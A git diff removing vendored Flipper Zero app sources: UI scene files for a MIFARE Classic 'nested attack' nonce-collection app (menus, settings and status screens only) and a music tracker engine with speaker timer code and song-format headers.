#include "../mifare_nested_i.h"
void mifare_nested_scene_no_nonces_collected_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_no_nonces_collected_on_enter(void* context) {
MifareNested* mifare_nested = context;
Widget* widget = mifare_nested->widget;
SaveNoncesResult_t* save_state = mifare_nested->save_state;
notification_message(mifare_nested->notifications, &sequence_error);
widget_add_icon_element(widget, 73, 12, &I_DolphinCry);
widget_add_string_element(
widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "No nonces collected");
uint32_t index = 12;
if(save_state->skipped) {
char append_skipped[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'};
if(save_state->skipped != 1) {
append_skipped[6] = 's';
}
char draw_str[32] = {};
snprintf(
draw_str, sizeof(draw_str), "Skipped: %lu %s", save_state->skipped, append_skipped);
widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str);
widget_add_string_element(
widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(already has keys)");
index += 20;
}
if(save_state->invalid) {
char append_invalid[8] = {'s', 'e', 'c', 't', 'o', 'r', ' ', '\0'};
if(save_state->invalid != 1) {
append_invalid[6] = 's';
}
char draw_str[32] = {};
snprintf(
draw_str, sizeof(draw_str), "Invalid: %lu %s", save_state->invalid, append_invalid);
widget_add_string_element(widget, 0, index, AlignLeft, AlignTop, FontSecondary, draw_str);
widget_add_string_element(
widget, 0, index + 10, AlignLeft, AlignTop, FontSecondary, "(can't auth)");
}
free(save_state);
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_no_nonces_collected_widget_callback,
mifare_nested);
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_no_nonces_collected_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_no_nonces_collected_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

58
applications/external/mifare_nested/scenes/mifare_nested_scene_nonces_collected.c vendored
View File

@@ -1,58 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_nonces_collected_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_nonces_collected_on_enter(void* context) {
MifareNested* mifare_nested = context;
Widget* widget = mifare_nested->widget;
notification_message(mifare_nested->notifications, &sequence_success);
widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess);
widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Nonces collected");
widget_add_string_element(
widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "Now you can run");
widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "script on your");
widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "PC to recover");
widget_add_string_element(widget, 0, 42, AlignLeft, AlignTop, FontSecondary, "keys");
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_nonces_collected_widget_callback,
mifare_nested);
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_nonces_collected_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_nonces_collected_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

65
applications/external/mifare_nested/scenes/mifare_nested_scene_settings.c vendored
View File

@@ -1,65 +0,0 @@
#include "../mifare_nested_i.h"
#include <lib/toolbox/value_index.h>
enum MifareNestedSettingsIndex { MifareNestedIndexBlock, MifareNestedIndexHardNested };
#define HARD_NESTED_COUNT 2
const char* const hard_nested_text[HARD_NESTED_COUNT] = {
"No",
"Yes",
};
const bool hard_nested_value[HARD_NESTED_COUNT] = {
false,
true,
};
static void mifare_nested_scene_settings_set_hard_nested(VariableItem* item) {
MifareNested* mifare_nested = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
variable_item_set_current_value_text(item, hard_nested_text[index]);
mifare_nested->settings->only_hardnested = hard_nested_value[index];
}
void mifare_nested_scene_settings_on_enter(void* context) {
MifareNested* mifare_nested = context;
VariableItem* item;
uint8_t value_index;
item = variable_item_list_add(
mifare_nested->variable_item_list,
"Hard Nested only:",
HARD_NESTED_COUNT,
mifare_nested_scene_settings_set_hard_nested,
mifare_nested);
value_index = value_index_bool(
mifare_nested->settings->only_hardnested, hard_nested_value, HARD_NESTED_COUNT);
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, hard_nested_text[value_index]);
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList);
}
bool mifare_nested_scene_settings_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == MifareNestedCustomEventSceneSettingLock) {
scene_manager_previous_scene(mifare_nested->scene_manager);
consumed = true;
}
}
return consumed;
}
void mifare_nested_scene_settings_on_exit(void* context) {
MifareNested* mifare_nested = context;
variable_item_list_set_selected_item(mifare_nested->variable_item_list, 0);
variable_item_list_reset(mifare_nested->variable_item_list);
scene_manager_set_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart, 0);
}

84
applications/external/mifare_nested/scenes/mifare_nested_scene_start.c vendored
View File

@@ -1,84 +0,0 @@
#include "../mifare_nested_i.h"
enum SubmenuIndex {
SubmenuIndexCollect,
SubmenuIndexCheck,
SubmenuIndexSettings,
SubmenuIndexAbout
};
void mifare_nested_scene_start_submenu_callback(void* context, uint32_t index) {
MifareNested* mifare_nested = context;
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, index);
}
void mifare_nested_scene_start_on_enter(void* context) {
MifareNested* mifare_nested = context;
Submenu* submenu = mifare_nested->submenu;
submenu_add_item(
submenu,
"Nested attack",
SubmenuIndexCollect,
mifare_nested_scene_start_submenu_callback,
mifare_nested);
submenu_add_item(
submenu,
"Check found keys",
SubmenuIndexCheck,
mifare_nested_scene_start_submenu_callback,
mifare_nested);
submenu_add_item(
submenu,
"Settings",
SubmenuIndexSettings,
mifare_nested_scene_start_submenu_callback,
mifare_nested);
submenu_add_item(
submenu,
"About",
SubmenuIndexAbout,
mifare_nested_scene_start_submenu_callback,
mifare_nested);
submenu_set_selected_item(
submenu,
scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneStart));
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewMenu);
}
bool mifare_nested_scene_start_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == SubmenuIndexCollect) {
mifare_nested->run = NestedRunAttack;
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck);
consumed = true;
} else if(event.event == SubmenuIndexCheck) {
mifare_nested->run = NestedRunCheckKeys;
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheck);
consumed = true;
} else if(event.event == SubmenuIndexSettings) {
mifare_nested->keys->found_keys = 123;
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneSettings);
consumed = true;
} else if(event.event == SubmenuIndexAbout) {
scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAbout);
consumed = true;
}
scene_manager_set_scene_state(
mifare_nested->scene_manager, MifareNestedSceneStart, event.event);
}
return consumed;
}
void mifare_nested_scene_start_on_exit(void* context) {
MifareNested* mifare_nested = context;
submenu_reset(mifare_nested->submenu);
}

58
applications/external/mifare_nested/scenes/mifare_nested_scene_static_encrypted_nonce.c vendored
View File

@@ -1,58 +0,0 @@
#include "../mifare_nested_i.h"
void mifare_nested_scene_static_encrypted_nonce_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
MifareNested* mifare_nested = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
}
}
void mifare_nested_scene_static_encrypted_nonce_on_enter(void* context) {
MifareNested* mifare_nested = context;
Widget* widget = mifare_nested->widget;
notification_message(mifare_nested->notifications, &sequence_error);
widget_add_icon_element(widget, 73, 12, &I_DolphinCry);
widget_add_string_element(
widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Static encrypted nonce");
widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, "This tag isn't");
widget_add_string_element(widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "vulnerable to");
widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "Nested attack");
widget_add_button_element(
widget,
GuiButtonTypeLeft,
"Back",
mifare_nested_scene_static_encrypted_nonce_widget_callback,
mifare_nested);
// Setup and start worker
view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
}
bool mifare_nested_scene_static_encrypted_nonce_on_event(void* context, SceneManagerEvent event) {
MifareNested* mifare_nested = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeBack) {
scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
consumed = true;
}
return consumed;
}
void mifare_nested_scene_static_encrypted_nonce_on_exit(void* context) {
MifareNested* mifare_nested = context;
widget_reset(mifare_nested->widget);
}

16
applications/external/music_tracker/application.fam vendored
View File

@@ -1,16 +0,0 @@
App(
appid="zero_tracker",
name="Zero Tracker",
apptype=FlipperAppType.EXTERNAL,
entry_point="zero_tracker_app",
requires=[
"gui",
],
stack_size=4 * 1024,
fap_icon="zero_tracker.png",
fap_category="Media",
fap_author="@DrZlo13",
fap_weburl="https://github.com/DrZlo13/flipper-zero-music-tracker",
fap_version="1.1",
fap_description="App plays hardcoded tracker song",
)

109
applications/external/music_tracker/tracker_engine/speaker_hal.c vendored
View File

@@ -1,109 +0,0 @@
#include "speaker_hal.h"
#define FURI_HAL_SPEAKER_TIMER TIM16
#define FURI_HAL_SPEAKER_CHANNEL LL_TIM_CHANNEL_CH1
#define FURI_HAL_SPEAKER_PRESCALER 500
void tracker_speaker_play(float frequency, float pwm) {
uint32_t autoreload = (SystemCoreClock / FURI_HAL_SPEAKER_PRESCALER / frequency) - 1;
if(autoreload < 2) {
autoreload = 2;
} else if(autoreload > UINT16_MAX) {
autoreload = UINT16_MAX;
}
if(pwm < 0) pwm = 0;
if(pwm > 1) pwm = 1;
uint32_t compare_value = pwm * autoreload;
if(compare_value == 0) {
compare_value = 1;
}
if(LL_TIM_OC_GetCompareCH1(FURI_HAL_SPEAKER_TIMER) != compare_value) {
LL_TIM_OC_SetCompareCH1(FURI_HAL_SPEAKER_TIMER, compare_value);
}
if(LL_TIM_GetAutoReload(FURI_HAL_SPEAKER_TIMER) != autoreload) {
LL_TIM_SetAutoReload(FURI_HAL_SPEAKER_TIMER, autoreload);
if(LL_TIM_GetCounter(FURI_HAL_SPEAKER_TIMER) > autoreload) {
LL_TIM_SetCounter(FURI_HAL_SPEAKER_TIMER, 0);
}
}
LL_TIM_EnableAllOutputs(FURI_HAL_SPEAKER_TIMER);
}
void tracker_speaker_stop() {
LL_TIM_DisableAllOutputs(FURI_HAL_SPEAKER_TIMER);
}
void tracker_speaker_init() {
if(furi_hal_speaker_is_mine() || furi_hal_speaker_acquire(1000)) {
furi_hal_speaker_start(200.0f, 0.01f);
tracker_speaker_stop();
}
}
void tracker_speaker_deinit() {
if(furi_hal_speaker_is_mine()) {
furi_hal_speaker_stop();
furi_hal_speaker_release();
}
}
static FuriHalInterruptISR tracker_isr;
static void* tracker_isr_context;
static void tracker_interrupt_cb(void* context) {
UNUSED(context);
if(LL_TIM_IsActiveFlag_UPDATE(TIM2)) {
LL_TIM_ClearFlag_UPDATE(TIM2);
if(tracker_isr) {
tracker_isr(tracker_isr_context);
}
}
}
void tracker_interrupt_init(float freq, FuriHalInterruptISR isr, void* context) {
tracker_isr = isr;
tracker_isr_context = context;
furi_hal_bus_enable(FuriHalBusTIM2);
furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, tracker_interrupt_cb, NULL);
LL_TIM_InitTypeDef TIM_InitStruct = {0};
// Prescaler to get 1kHz clock
TIM_InitStruct.Prescaler = SystemCoreClock / 1000000 - 1;
TIM_InitStruct.CounterMode = LL_TIM_COUNTERMODE_UP;
// Auto reload to get freq Hz interrupt
TIM_InitStruct.Autoreload = (1000000 / freq) - 1;
TIM_InitStruct.ClockDivision = LL_TIM_CLOCKDIVISION_DIV1;
LL_TIM_Init(TIM2, &TIM_InitStruct);
LL_TIM_EnableIT_UPDATE(TIM2);
LL_TIM_EnableAllOutputs(TIM2);
LL_TIM_EnableCounter(TIM2);
}
void tracker_interrupt_deinit() {
FURI_CRITICAL_ENTER();
furi_hal_bus_disable(FuriHalBusTIM2);
FURI_CRITICAL_EXIT();
furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL);
}
void tracker_debug_init() {
furi_hal_gpio_init(&gpio_ext_pc3, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow);
}
void tracker_debug_set(bool value) {
furi_hal_gpio_write(&gpio_ext_pc3, value);
}
void tracker_debug_deinit() {
furi_hal_gpio_init(&gpio_ext_pc3, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
}

19
applications/external/music_tracker/tracker_engine/speaker_hal.h vendored
View File

@@ -1,19 +0,0 @@
#include <furi_hal.h>
void tracker_speaker_init();
void tracker_speaker_deinit();
void tracker_speaker_play(float frequency, float pwm);
void tracker_speaker_stop();
void tracker_interrupt_init(float freq, FuriHalInterruptISR isr, void* context);
void tracker_interrupt_deinit();
void tracker_debug_init();
void tracker_debug_set(bool value);
void tracker_debug_deinit();

441
applications/external/music_tracker/tracker_engine/tracker.c vendored
View File

@@ -1,441 +0,0 @@
#include "tracker.h"
#include <stdbool.h>
#include "speaker_hal.h"
// SongState song_state = {
// .tick = 0,
// .tick_limit = 2,
// .row = 0,
// };
typedef struct {
uint8_t speed;
uint8_t depth;
int8_t direction;
int8_t value;
} IntegerOscillator;
typedef struct {
float frequency;
float frequency_target;
float pwm;
bool play;
IntegerOscillator vibrato;
} ChannelState;
typedef struct {
ChannelState* channels;
uint8_t tick;
uint8_t tick_limit;
uint8_t pattern_index;
uint8_t row_index;
uint8_t order_list_index;
} SongState;
typedef struct {
uint8_t note;
uint8_t effect;
uint8_t data;
} UnpackedRow;
struct Tracker {
const Song* song;
bool playing;
TrackerMessageCallback callback;
void* context;
SongState song_state;
};
static void channels_state_init(ChannelState* channel) {
channel->frequency = 0;
channel->frequency_target = FREQUENCY_UNSET;
channel->pwm = PWM_DEFAULT;
channel->play = false;
channel->vibrato.speed = 0;
channel->vibrato.depth = 0;
channel->vibrato.direction = 0;
channel->vibrato.value = 0;
}
static void tracker_song_state_init(Tracker* tracker) {
tracker->song_state.tick = 0;
tracker->song_state.tick_limit = 2;
tracker->song_state.row_index = 0;
tracker->song_state.order_list_index = 0;
tracker->song_state.pattern_index = tracker->song->order_list[0];
if(tracker->song_state.channels != NULL) {
free(tracker->song_state.channels);
}
tracker->song_state.channels = malloc(sizeof(ChannelState) * tracker->song->channels_count);
for(uint8_t i = 0; i < tracker->song->channels_count; i++) {
channels_state_init(&tracker->song_state.channels[i]);
}
}
static void tracker_song_state_clear(Tracker* tracker) {
if(tracker->song_state.channels != NULL) {
free(tracker->song_state.channels);
tracker->song_state.channels = NULL;
}
}
static uint8_t record_get_note(Row note) {
return note & ROW_NOTE_MASK;
}
static uint8_t record_get_effect(Row note) {
return (note >> 6) & ROW_EFFECT_MASK;
}
static uint8_t record_get_effect_data(Row note) {
return (note >> 10) & ROW_EFFECT_DATA_MASK;
}
#define NOTES_PER_OCT 12
const float notes_oct[NOTES_PER_OCT] = {
130.813f,
138.591f,
146.832f,
155.563f,
164.814f,
174.614f,
184.997f,
195.998f,
207.652f,
220.00f,
233.082f,
246.942f,
};
static float note_to_freq(uint8_t note) {
if(note == NOTE_NONE) return 0.0f;
note = note - NOTE_C2;
uint8_t octave = note / NOTES_PER_OCT;
uint8_t note_in_oct = note % NOTES_PER_OCT;
return notes_oct[note_in_oct] * (1 << octave);
}
static float frequency_offset_semitones(float frequency, uint8_t semitones) {
return frequency * (1.0f + ((1.0f / 12.0f) * semitones));
}
static float frequency_get_seventh_of_a_semitone(float frequency) {
return frequency * ((1.0f / 12.0f) / 7.0f);
}
static UnpackedRow get_current_row(const Song* song, SongState* song_state, uint8_t channel) {
const Pattern* pattern = &song->patterns[song_state->pattern_index];
const Row row = pattern->channels[channel].rows[song_state->row_index];
return (UnpackedRow){
.note = record_get_note(row),
.effect = record_get_effect(row),
.data = record_get_effect_data(row),
};
}
static int16_t advance_order_and_get_next_pattern_index(const Song* song, SongState* song_state) {
song_state->order_list_index++;
if(song_state->order_list_index >= song->order_list_size) {
return -1;
} else {
return song->order_list[song_state->order_list_index];
}
}
typedef struct {
int16_t pattern;
int16_t row;
bool change_pattern;
bool change_row;
} Location;
static void tracker_send_position_message(Tracker* tracker) {
if(tracker->callback != NULL) {
tracker->callback(
(TrackerMessage){
.type = TrackerPositionChanged,
.data =
{
.position =
{
.order_list_index = tracker->song_state.order_list_index,
.row = tracker->song_state.row_index,
},
},
},
tracker->context);
}
}
static void tracker_send_end_message(Tracker* tracker) {
if(tracker->callback != NULL) {
tracker->callback((TrackerMessage){.type = TrackerEndOfSong}, tracker->context);
}
}
static void advance_to_pattern(Tracker* tracker, Location advance) {
if(advance.change_pattern) {
if(advance.pattern < 0 || advance.pattern >= tracker->song->patterns_count) {
tracker->playing = false;
tracker_send_end_message(tracker);
} else {
tracker->song_state.pattern_index = advance.pattern;
tracker->song_state.row_index = 0;
}
}
if(advance.change_row) {
if(advance.row < 0) advance.row = 0;
if(advance.row >= PATTERN_SIZE) advance.row = PATTERN_SIZE - 1;
tracker->song_state.row_index = advance.row;
}
tracker_send_position_message(tracker);
}
static void tracker_interrupt_body(Tracker* tracker) {
if(!tracker->playing) {
tracker_speaker_stop();
return;
}
const uint8_t channel_index = 0;
SongState* song_state = &tracker->song_state;
ChannelState* channel_state = &song_state->channels[channel_index];
const Song* song = tracker->song;
UnpackedRow row = get_current_row(song, song_state, channel_index);
// load frequency from note at tick 0
if(song_state->tick == 0) {
bool invalidate_row = false;
// handle "on first tick" effects
if(row.effect == EffectBreakPattern) {
int16_t next_row_index = row.data;
int16_t next_pattern_index =
advance_order_and_get_next_pattern_index(song, song_state);
advance_to_pattern(
tracker,
(Location){
.pattern = next_pattern_index,
.row = next_row_index,
.change_pattern = true,
.change_row = true,
});
invalidate_row = true;
}
if(row.effect == EffectJumpToOrder) {
song_state->order_list_index = row.data;
int16_t next_pattern_index = song->order_list[song_state->order_list_index];
advance_to_pattern(
tracker,
(Location){
.pattern = next_pattern_index,
.change_pattern = true,
});
invalidate_row = true;
}
// tracker state can be affected by effects
if(!tracker->playing) {
tracker_speaker_stop();
return;
}
if(invalidate_row) {
row = get_current_row(song, song_state, channel_index);
if(row.effect == EffectSetSpeed) {
song_state->tick_limit = row.data;
}
}
// handle note effects
if(row.note == NOTE_OFF) {
channel_state->play = false;
} else if((row.note > NOTE_NONE) && (row.note < NOTE_OFF)) {
channel_state->play = true;
// reset vibrato
channel_state->vibrato.speed = 0;
channel_state->vibrato.depth = 0;
channel_state->vibrato.value = 0;
channel_state->vibrato.direction = 0;
// reset pwm
channel_state->pwm = PWM_DEFAULT;
if(row.effect == EffectSlideToNote) {
channel_state->frequency_target = note_to_freq(row.note);
} else {
channel_state->frequency = note_to_freq(row.note);
channel_state->frequency_target = FREQUENCY_UNSET;
}
}
}
if(channel_state->play) {
float frequency, pwm;
if((row.effect == EffectSlideUp || row.effect == EffectSlideDown) &&
row.data != EFFECT_DATA_NONE) {
// apply slide effect
channel_state->frequency += (row.effect == EffectSlideUp ? 1 : -1) * row.data;
} else if(row.effect == EffectSlideToNote) {
// apply slide to note effect, if target frequency is set
if(channel_state->frequency_target > 0) {
if(channel_state->frequency_target > channel_state->frequency) {
channel_state->frequency += row.data;
if(channel_state->frequency > channel_state->frequency_target) {
channel_state->frequency = channel_state->frequency_target;
channel_state->frequency_target = FREQUENCY_UNSET;
}
} else if(channel_state->frequency_target < channel_state->frequency) {
channel_state->frequency -= row.data;
if(channel_state->frequency < channel_state->frequency_target) {
channel_state->frequency = channel_state->frequency_target;
channel_state->frequency_target = FREQUENCY_UNSET;
}
}
}
}
frequency = channel_state->frequency;
pwm = channel_state->pwm;
// apply arpeggio effect
if(row.effect == EffectArpeggio) {
if(row.data != EFFECT_DATA_NONE) {
if((song_state->tick % 3) == 1) {
uint8_t note_offset = EFFECT_DATA_GET_X(row.data);
frequency = frequency_offset_semitones(frequency, note_offset);
} else if((song_state->tick % 3) == 2) {
uint8_t note_offset = EFFECT_DATA_GET_Y(row.data);
frequency = frequency_offset_semitones(frequency, note_offset);
}
}
} else if(row.effect == EffectVibrato) {
// apply vibrato effect, data = speed, depth
uint8_t vibrato_speed = EFFECT_DATA_GET_X(row.data);
uint8_t vibrato_depth = EFFECT_DATA_GET_Y(row.data);
// update vibrato parameters if speed or depth is non-zero
if(vibrato_speed != 0) channel_state->vibrato.speed = vibrato_speed;
if(vibrato_depth != 0) channel_state->vibrato.depth = vibrato_depth;
// update vibrato value
channel_state->vibrato.value +=
channel_state->vibrato.direction * channel_state->vibrato.speed;
// change direction if value is at the limit
if(channel_state->vibrato.value > channel_state->vibrato.depth) {
channel_state->vibrato.direction = -1;
} else if(channel_state->vibrato.value < -channel_state->vibrato.depth) {
channel_state->vibrato.direction = 1;
} else if(channel_state->vibrato.direction == 0) {
// set initial direction, if it is not set
channel_state->vibrato.direction = 1;
}
frequency +=
(frequency_get_seventh_of_a_semitone(frequency) * channel_state->vibrato.value);
} else if(row.effect == EffectPWM) {
pwm = (pwm - PWM_MIN) / EFFECT_DATA_1_MAX * row.data + PWM_MIN;
}
tracker_speaker_play(frequency, pwm);
} else {
tracker_speaker_stop();
}
song_state->tick++;
if(song_state->tick >= song_state->tick_limit) {
song_state->tick = 0;
// next note
song_state->row_index = (song_state->row_index + 1);
if(song_state->row_index >= PATTERN_SIZE) {
int16_t next_pattern_index =
advance_order_and_get_next_pattern_index(song, song_state);
advance_to_pattern(
tracker,
(Location){
.pattern = next_pattern_index,
.change_pattern = true,
});
} else {
tracker_send_position_message(tracker);
}
}
}
static void tracker_interrupt_cb(void* context) {
Tracker* tracker = (Tracker*)context;
tracker_debug_set(true);
tracker_interrupt_body(tracker);
tracker_debug_set(false);
}
/*********************************************************************
* Tracker Interface
*********************************************************************/
Tracker* tracker_alloc() {
Tracker* tracker = malloc(sizeof(Tracker));
return tracker;
}
void tracker_free(Tracker* tracker) {
tracker_song_state_clear(tracker);
free(tracker);
}
void tracker_set_message_callback(Tracker* tracker, TrackerMessageCallback callback, void* context) {
furi_check(tracker->playing == false);
tracker->callback = callback;
tracker->context = context;
}
void tracker_set_song(Tracker* tracker, const Song* song) {
furi_check(tracker->playing == false);
tracker->song = song;
tracker_song_state_init(tracker);
}
void tracker_set_order_index(Tracker* tracker, uint8_t order_index) {
furi_check(tracker->playing == false);
furi_check(order_index < tracker->song->order_list_size);
tracker->song_state.order_list_index = order_index;
tracker->song_state.pattern_index = tracker->song->order_list[order_index];
}
void tracker_set_row(Tracker* tracker, uint8_t row) {
furi_check(tracker->playing == false);
furi_check(row < PATTERN_SIZE);
tracker->song_state.row_index = row;
}
void tracker_start(Tracker* tracker) {
furi_check(tracker->song != NULL);
tracker->playing = true;
tracker_send_position_message(tracker);
tracker_debug_init();
tracker_speaker_init();
tracker_interrupt_init(tracker->song->ticks_per_second, tracker_interrupt_cb, tracker);
}
void tracker_stop(Tracker* tracker) {
tracker_interrupt_deinit();
tracker_speaker_deinit();
tracker_debug_deinit();
tracker->playing = false;
}

38
applications/external/music_tracker/tracker_engine/tracker.h vendored
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@@ -1,38 +0,0 @@
#pragma once
#include "tracker_notes.h"
#include "tracker_song.h"
typedef enum {
TrackerPositionChanged,
TrackerEndOfSong,
} TrackerMessageType;
typedef struct {
TrackerMessageType type;
union tracker_message_data {
struct {
uint8_t order_list_index;
uint8_t row;
} position;
} data;
} TrackerMessage;
typedef void (*TrackerMessageCallback)(TrackerMessage message, void* context);
typedef struct Tracker Tracker;
Tracker* tracker_alloc();
void tracker_free(Tracker* tracker);
void tracker_set_message_callback(Tracker* tracker, TrackerMessageCallback callback, void* context);
void tracker_set_song(Tracker* tracker, const Song* song);
void tracker_set_order_index(Tracker* tracker, uint8_t order_index);
void tracker_set_row(Tracker* tracker, uint8_t row);
void tracker_start(Tracker* tracker);
void tracker_stop(Tracker* tracker);

64
applications/external/music_tracker/tracker_engine/tracker_notes.h vendored
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@@ -1,64 +0,0 @@
#pragma once
#define NOTE_NONE 0
#define NOTE_C2 1
#define NOTE_Cs2 2
#define NOTE_D2 3
#define NOTE_Ds2 4
#define NOTE_E2 5
#define NOTE_F2 6
#define NOTE_Fs2 7
#define NOTE_G2 8
#define NOTE_Gs2 9
#define NOTE_A2 10
#define NOTE_As2 11
#define NOTE_B2 12
#define NOTE_C3 13
#define NOTE_Cs3 14
#define NOTE_D3 15
#define NOTE_Ds3 16
#define NOTE_E3 17
#define NOTE_F3 18
#define NOTE_Fs3 19
#define NOTE_G3 20
#define NOTE_Gs3 21
#define NOTE_A3 22
#define NOTE_As3 23
#define NOTE_B3 24
#define NOTE_C4 25
#define NOTE_Cs4 26
#define NOTE_D4 27
#define NOTE_Ds4 28
#define NOTE_E4 29
#define NOTE_F4 30
#define NOTE_Fs4 31
#define NOTE_G4 32
#define NOTE_Gs4 33
#define NOTE_A4 34
#define NOTE_As4 35
#define NOTE_B4 36
#define NOTE_C5 37
#define NOTE_Cs5 38
#define NOTE_D5 39
#define NOTE_Ds5 40
#define NOTE_E5 41
#define NOTE_F5 42
#define NOTE_Fs5 43
#define NOTE_G5 44
#define NOTE_Gs5 45
#define NOTE_A5 46
#define NOTE_As5 47
#define NOTE_B5 48
#define NOTE_C6 49
#define NOTE_Cs6 50
#define NOTE_D6 51
#define NOTE_Ds6 52
#define NOTE_E6 53
#define NOTE_F6 54
#define NOTE_Fs6 55
#define NOTE_G6 56
#define NOTE_Gs6 57
#define NOTE_A6 58
#define NOTE_As6 59
#define NOTE_B6 60
#define NOTE_OFF 63

109
applications/external/music_tracker/tracker_engine/tracker_song.h vendored
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@@ -1,109 +0,0 @@
#pragma once
#include <stdint.h>
/**
* @brief Row
*
* AH AL
* FEDCBA98 76543210
* nnnnnnee eedddddd
* -------- --------
* nnnnnn = [0] do nothing, [1..60] note number, [61] note off, [62..63] not used
* ee ee = [0..F] effect
* 111222 = [0..63] or [0..7, 0..7] effect data
*/
typedef uint16_t Row;
#define ROW_NOTE_MASK 0x3F
#define ROW_EFFECT_MASK 0x0F
#define ROW_EFFECT_DATA_MASK 0x3F
typedef enum {
// 0xy, x - first semitones offset, y - second semitones offset. 0 - no offset .. 7 - +7 semitones...
// Play the arpeggio chord with three notes. The first note is the base note, the second and third are offset by x and y.
// Each note plays one tick.
EffectArpeggio = 0x00,
// 1xx, xx - effect speed, 0 - no effect, 1 - slowest, 0x3F - fastest.
// Slide the note pitch up by xx Hz every tick.
EffectSlideUp = 0x01,
// 2xx, xx - effect speed, 0 - no effect, 1 - slowest, 0x3F - fastest.
// Slide the note pitch down by xx Hz every tick.
EffectSlideDown = 0x02,
// 3xx, xx - effect speed, 0 - no effect, 1 - slowest, 0x3F - fastest.
// Slide the already playing note pitch towards another one by xx Hz every tick.
// The note value is saved until the note is playing, so you don't have to repeat the note value to continue sliding.
EffectSlideToNote = 0x03,
// 4xy, x - vibrato speed (0..7), y - vibrato depth (0..7).
// Vibrato effect. The pitch of the note increases by x Hz each tick to a positive vibrato depth, then decreases to a negative depth.
// Value 1 of depth means 1/7 of a semitone (about 14.28 ct), so value 7 means full semitone.
// Note will play without vibrato on the first tick at the beginning of the effect.
// Vibrato speed and depth are saved until the note is playing, and will be updated only if they are not zero, so you doesn't have to repeat them every tick.
EffectVibrato = 0x04,
// Effect05 = 0x05,
// Effect06 = 0x06,
// Effect07 = 0x07,
// Effect08 = 0x08,
// Effect09 = 0x09,
// Effect0A = 0x0A,
// Bxx, xx - pattern number
// Jump to the order xx in the pattern order table at first tick of current row.
// So if you want to jump to the pattern after note 4, you should put this effect on the 5th note.
EffectJumpToOrder = 0x0B,
// Cxx, xx - pwm value
// Set the PWM value to xx for current row.
EffectPWM = 0x0C,
// Bxx, xx - row number
